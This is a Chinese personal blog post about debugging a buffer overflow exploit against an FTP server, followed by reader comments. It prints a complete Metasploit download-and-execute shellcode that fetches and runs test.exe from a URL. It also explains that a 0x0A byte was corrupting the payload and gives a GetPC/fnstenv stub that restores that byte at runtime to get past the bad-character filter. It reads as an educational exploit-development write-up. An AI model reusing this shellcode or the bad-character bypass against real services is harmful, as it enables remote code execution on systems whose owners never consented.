首页 > 缓冲区溢出 > 一个字节毁掉一段ShellCode

一个字节毁掉一段ShellCode

暂时告别了一段忙碌的生活,博客还是得打理一下……今天在测试一个FTP服务器程序时,发现仅仅一位一个特殊的字节而破坏了整段ShellCode,调了好久才找到原因,就想写篇博客记录下,顺便感慨下调试的不易。

场景:已经写好了一个Exploit针对此FTP服务器程序并成功绑定一个TCP Shell,现在需要替换为download_exec(下载并执行)ShellCode,于是使用Metasploit生成了一段download_exec的ShellCode,URL为http://localhost/test.exe,可是测试的时候被测程序总是悄然退出,用Ollydbg附加、在0x7FFA4512(jmp esp 是我用来做跳转的)处下硬件执行断点,再次触发溢出条件,发现ShellCode全然面目全非了:
ShellCode被破坏
原始的ShellCode是这样的:

// Metasploit生成的一段download_exec Shellcode
// URL http://localhost/test.exe
"\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x3c\x01\x80\x34\x0a\x99\xe2"
"\xfa\xeb\x05\xe8\xeb\xff\xff\xff\x70\x4c\x99\x99\x99\xc3\xfd"
"\x38\xa9\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91"
"\x12\x41\x12\xea\xa5\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a"
"\x62\x12\xd7\x8d\xaa\x74\xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b"
"\xf3\x97\xc0\x6a\x3f\xed\x91\xc0\xc6\x1a\x5e\x9d\xdc\x7b\x70"
"\xc0\xc6\xc7\x12\x54\x12\xdf\xbd\x9a\x5a\x48\x78\x9a\x58\xaa"
"\x50\xff\x12\x91\x12\xdf\x85\x9a\x5a\x58\x78\x9b\x9a\x58\x12"
"\x99\x9a\x5a\x12\x63\x12\x6e\x1a\x5f\x97\x12\x49\xf3\x9d\xc0"
"\x71\xc9\x99\x99\x99\x1a\x5f\x94\xcb\xcf\x66\xce\x65\xc3\x12"
"\x41\xf3\x98\xc0\x71\xa4\x99\x99\x99\x1a\x5f\x8a\xcf\xdf\x19"
"\xa7\x19\xec\x63\x19\xaf\x19\xc7\x1a\x75\xb9\x12\x45\xf3\xb9"
"\xca\x66\xce\x75\x5e\x9d\x9a\xc5\xf8\xb7\xfc\x5e\xdd\x9a\x9d"
"\xe1\xfc\x99\x99\xaa\x59\xc9\xc9\xca\xcf\xc9\x66\xce\x65\x12"
"\x45\xc9\xca\x66\xce\x69\xc9\x66\xce\x6d\xaa\x59\x35\x1c\x59"
"\xec\x60\xc8\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59"
"\x5a\x71\xbf\x66\x66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd"
"\xfd\xeb\xfc\xea\xea\x99\xde\xfc\xed\xca\xe0\xea\xed\xfc\xf4"
"\xdd\xf0\xeb\xfc\xfa\xed\xf6\xeb\xe0\xd8\x99\xce\xf0\xf7\xdc"
"\xe1\xfc\xfa\x99\xdc\xe1\xf0\xed\xcd\xf1\xeb\xfc\xf8\xfd\x99"
"\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xec\xeb"
"\xf5\xf4\xf6\xf7\x99\xcc\xcb\xd5\xdd\xf6\xee\xf7\xf5\xf6\xf8"
"\xfd\xcd\xf6\xdf\xf0\xf5\xfc\xd8\x99\x68\x74\x74\x70\x3a\x2f"
"\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x2f\x74\x65\x73\x74"
"\x2e\x65\x78\x65\x80"

不止是download_exec,先前测试某些代码的时候存在同样的情况:ShellCode被破坏。一下子茫然,不知道该如何下手,尝试在中间填充的nop中进行jmp,并把shellcode往后移动,照样还是被破坏……思索良久,最后发现破坏是第一行倒数第三个字节0x0A开始的。注意,前面提到这是在测试一个FTP程序,协议里面\r\n就是结束标志,难道?莫非……?

在程序的导入表中曾经注意到strstr,难道直接把0x0A当作结束标志了?(\r\n为0D 0A),带着这个疑问,查一下先前成功执行的ShellCode,果真没有0x0A,更加表明了这个怀疑的正确性,把0x0A改成0×09,Damn it!之后ShellCode真的没有被破坏……

就这样,凭感觉猜出了错误的原因,接下来要想办法把这个字节从0×09恢复到0x0A(当然也可以改成其他的),怎么处理?当然需要先进行重定位,获取当前指令的地址(GetPC),然后算出要改动字节的偏移,调用inc指令即可,具体需要自己计算并测试一下,在ShellCode前加入下面的字节:

// 注意fnstenv需要抬高栈顶,填充垃圾数据或者sub esp,XX即可
"\xd9\xee\xd9\x74\x24\xf4\x5b\xfe\x43\x16"

同时把原来的0x0A改为0×09,这里采用inc byte ptr [XX]的方式进行恢复:
简单对ShellCode进行编码解码

之后,当然就是ShellCode的成功执行 [em005] 泪流满面~~~


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> 一个字节毁掉一段ShellCode
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. 2012年11月22日23:36 | #1

    牛x

    [回复]

    代码疯子 回复:

    @the5fire, 都是些乱七八糟的小东西了

    [回复]

  2. 2012年11月24日00:37 | #2

    好久不见你的文章了,咋一看,还以为ShellCode和Shell是一回事。。

    [回复]

    代码疯子 回复:

    @TekTea, 最近很忙。最初shellcode就是指在linux上开一个shell的code了……现在已经是个泛称了

    [回复]

  3. 嘿嘿
    2014年3月16日16:52 | #3

    我想问问我遇到的一个问题,典型 SEH exploit 跳转到 shellcode处执行
    但是我的shellcode 好像被检查了很多个字节,一些字节总是被乱码了
    现在问题就是找不到合适的shellcode往上装
    求解决思路

    [回复]

    代码疯子 回复:

    @嘿嘿, 你可以看一下Shellcode是在什么时候被破坏的,被破坏的地方的原始的值是什么样的。这个要分析具体的情况才好说

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.